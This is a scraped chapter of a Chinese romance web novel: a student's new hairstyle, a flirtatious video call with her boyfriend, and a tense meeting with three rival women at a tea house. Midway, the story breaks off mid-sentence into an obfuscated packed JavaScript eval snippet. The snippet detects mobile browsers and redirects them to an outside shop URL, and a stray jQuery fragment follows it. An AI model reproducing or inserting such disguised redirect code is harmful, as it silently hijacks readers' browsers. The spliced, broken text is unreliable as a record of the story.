跟着宋莳翊说的方法,吴束很快找到了感觉,虽然不是突飞猛进,但稳扎稳打、循序渐进式的进步,更让人安心踏实。
之前一边焦虑学习、一边担忧社联工作,现在调整了学习方法,吴束觉得两者兼顾似乎也没那么难。
很快到了四月,春天的气息在某一天的突然升温变得尤其浓郁。
校园里种的樱花春雪一般悠悠扬扬地飞舞,缱绻浪漫。
整理好最新一批社团换届材料,吴束在行政楼下和宿舍其他三人汇合。
马莹莹追剧上头想要女主同款发型,在她的鼓动下,四个人统一行动,正好凑到染烫充值优惠。
吴束有些自然卷,发质又软,简单的柔顺救不了乱糟糟的卷毛,在托尼的建议下放弃了幼稚的头帘,烫了个顺眼的卷发。
四个人发质不一样,花费的时间也不同,托尼最后抓抓捏捏,最先宣布吴束的完工。
“哇哦,这是谁家美人儿啊?!”马莹莹惊呼。
吴束还有些不适应,没了头帘儿感觉自己在裸奔。
“你早该把笨刘海儿去了。”向依透过镜子看着吴束。
托尼洗了手过来,挨个捻着其他三人的头发查看,他很满意自己为吴束设计的发型:“小美女这么好看,让刘海盖住颜值多可惜。”
等四个人走出理发店的时候已经是三个小时之后了。
计划晚上完成社团巡演开幕式主席发言稿大纲,吴束没和舍友一起去图书馆,一个人留守宿舍。
去年秋时韵她第一次接触发言稿,写的时候没多大感觉,等主席站在台上念稿子的时候,她尴尬得脚趾扣地。
实在是初中生写作文,太幼稚。
所以这次春时序发言稿,她早早地着手准备。
几个月忙下来,她比以前更高维度地接触到这个学生组织的运营机制,也更完整地了解到近两届主席团付出的努力。
她尽可能地找到所有院领导有关社联工作的发言,找到主席团这一年里大大小小的工作计划和总结,又翻了近两年活动部统计的社团各个方面的数据,抠着字眼儿地磨砺行文大纲。
一顿忙碌,再抬眼,时间已经晚上9点多,到了宋莳翊起床的点。
今天他没课,会在起床之后先开工作会,再去忙课业,如果一切顺利,他会健身或者户外徒步放松一下。
吴束拿出镜子拨弄自己的新发型。她早先给自己的新发型拍了照片,犹豫了好久,最终还是没发给宋莳翊。
她一直觉得自己长得不好看,即使这次大家的反应很惊艳,她还是觉得差远了。
就在吴束好奇,宋莳翊会不会发现自己换发型的时候,他的视频邀请过来了。
宋莳翊正在对着镜头剃胡子,凑得很近,吴束清楚地看见他不算浓密的胡茬,很……性感。
吴束总是被这些不经意的惊艳闹得脸红心跳。
“在宿舍?”宋莳翊抽空说,剃须刀嗡嗡作响。
一般只有在宿舍的时候,吴束才会把镜头对着死角,毕竟一屋子女生,总会不方便。
这么一提醒,吴束才想起来现在只有她一个人。
镜头转过来,宋莳翊第一时间发现她的不一样,不由挑眉:“换发型了?”
吴束摸摸自己的头发:“嗯,下午刚弄的,和舍友一起。”
没了刘海,换上蓬松俏皮的卷发,露出吴束流畅的脸型、饱满的额头,一双柳叶细眉下是圆钝闪烁的双眼,低山根小翘鼻,幼态感让人保护欲爆棚。
明明模样没有变化,却让宋莳翊挪不开眼。
“很好看。”宋莳翊如此说。
吴束忍不住笑了,像是被老师夸奖的学生。
“夸一句就这么开心?”
“因为是你夸的。”吴束很坦诚。
宋莳翊成功地被这句话取悦,他觉得自己也是一个很容易满足的人。
“你们学校的樱花很漂亮,可惜等我回来的时候花期已经过了。”
吴束拍了学校的樱花给他看,她当时在想,如果他也在该多好。
“我们学校种的晚樱,花期能有1个多月,运气好的话能撑到你回来。”
宋莳翊提过提前毕业的计划,大概五月回来。宋家在陵市的项目还要耗费一段时间,他已经决定暂时落脚这里。
说这个的时候,他有意识地挑逗吴束,说缘分就是这么巧,明明没有刻意为之,兜兜转转还是待在一座城市里。
吴束记得自己当时被逗得有些害羞,也不知怎么,下意识回了一句“真好”。
那时候宋莳翊笑眯眯地看着脸色爆红的小姑娘,像是回应她,跟着说了一句“我也觉得真好”。
宋莳翊洗漱好去厨房,站在岛台面前取出面包机里的切片面包,又倒了杯牛奶:“终于要结束网恋了。”
吴束轻轻地“嗯”了一声,竟然还有些莫名其妙的紧张。
“你都不期待?”宋莳翊抿了一口牛奶,白色的奶圈薄薄地缠在他的唇缘。
“怎么会不期待?”吴束撇开视线,只觉得那个痕迹该死的性感,“算上你不知道的,已经五年了。”
在宋莳翊不认识她的日子里,吴束曾经想过未来,自己可能谈一场平平淡淡的恋爱,结一份水到渠成的婚,渐渐淡忘反复出现在睡前小剧场里的这个人。
只是没想到,日复一日的、公交车上的心动,竟像路边的月见草,看起来脆弱单薄,实际上根系发达到蜿蜒数年。
然后,他正式进入她的生活,如同清亮的月光,轻而易举地让它漫山遍野的绽放。
宋莳翊总是轻易地被吴束不经意的话语戳中心里柔软的部分。
心疼、酸涩掺杂着难以言说的满足,宋莳翊放下早餐,轻轻地叹了一口气:“阿束。”
吴束不明所以地看向宋莳翊。
宋莳翊一时不知道要怎么形容他此刻的庆幸:“幸好你还记得我。”
吴束托着下巴,难得调皮:“一直记得一个人很辛苦的,还不如忘记。”
“我不会给你这个机会。”宋莳翊笃定,“也请你不要有这种想法。”
吴束稍稍歪了下脑袋,柔软的卷发扫过耳廓垂落下来:“未来的事情,谁说得准。”
吴束从没有像今天这样气人,加上她无意间透露出来的……妩媚,对,不知是不是换了发型的原因,宋莳翊第一次在她身上看到妩媚,他微笑,危险气息渐浓:“你可以试试。”
吴束有一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059394|194985||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
股被肉食动物锁定的毛骨悚然,头一次在宋莳翊身上感受到强势霸道。
宋莳翊看时间差不多了就收了线,吴束也收起了心思拿出题测刷题去了。
春时序社团巡礼的筹备工作正式开始,吴束凑了时间,周三下午第二大节的时间段部门成员都有空,吴束在“时夕”定了下午茶,第一小节临时安排的职业规划结束之后,她就先舍友一步离开教学楼。
教学楼下停了两辆车,吴束走下正大门的楼梯时,车窗降了下来,能看出来车子价值不菲,车里的人,隐约间也能看出是矜贵的身份。
吴束扫了一眼便急匆匆地往大门外走。
店长夏纾早早地将楼上视线最好、相对僻静的位置预留出来,吴束还没到的时候,常温茶品干点已经就绪。
来定位置的时候,吴束千叮万嘱不要特殊照顾,夏纾自然应下,转头就汇报给宋莳翊,宋莳翊只说按小姑娘说的做。
吴束在位置里坐下,等待部门成员过来。
没过几分钟,楼梯上传来脚步声。
吴束转头,迎上三位妆发精致的女生。
她们在吴束面前坐下,表情没有什么特别,甚至带着和善的微笑。可吴束看在眼里有些不舒服。
“抱歉,这个位置有预定了。”吴束礼貌地提醒。
“我叫陈牧晴,陈牧川是我哥哥。陈牧川,阿翊哥哥的兄弟。”黑发大波浪,姣好的面容确实和陈牧川有些相像,“算起来,我应该叫您一声嫂子。”
对面三个人眼神各异,吴束吃不准她们的来意,不言语,只把她们瞧着。
陈牧晴见吴束没有反应,也不知道她在想什么,尴尬地咳了一声,朝左手侧了侧脸:“江祐柠,”再向右边侧了侧脸,“李蹊蕊。”
吴束觉得很唐突,也不知道要怎么处理这种局面,直觉一直不说话显得更没礼貌,于是开口:“你们好,找我有什么事吗?”
宋莳翊提过陈家一直在南城,子女也是扎根南城,能跑来陵市,估计是特意为之。
“阿翊保护得真好,密不透风的,多少人闻着味儿找来都被拦住了。”江祐柠说道,“还是说,觉得拿不出手?”
吴束害怕社交的原因还有一个,就是她不会分辨对方的言外之意,如果对方敌意明显,她也不大能应对。
就像此刻,女孩儿眼神里暴露的不屑很刺眼,吴束畏惧,不知道如何反击。
陈牧晴转头看向江祐柠,觉得她措辞很冒犯。
李蹊蕊笑眯眯的,志得意满的样子:“和我想的差距很大。”
陈牧晴有些拿捏不住:“你们俩能不能好好说话。”
李蹊蕊故作苦恼:“真没意思,阿翊什么眼光呀。”
江祐柠的轻蔑更盛:“蕊蕊,你可以放心了吧,这样儿的……对你没威胁。”
陈牧晴有些坐不住了:“你俩吃错药了?夹枪带棒的。”
吴束不想露怯,又不太敢和她们正面冲突,憋闷了半天才语气平淡地说:“想喝点什么吗?”
吴束自认十分懦弱的回应,却是四两拨千斤地打散了甚嚣尘上的唳气。
对面三人一时没接住话,吴束只好继续说:“喝陈皮雪梨茶吧,‘时夕’的招牌。”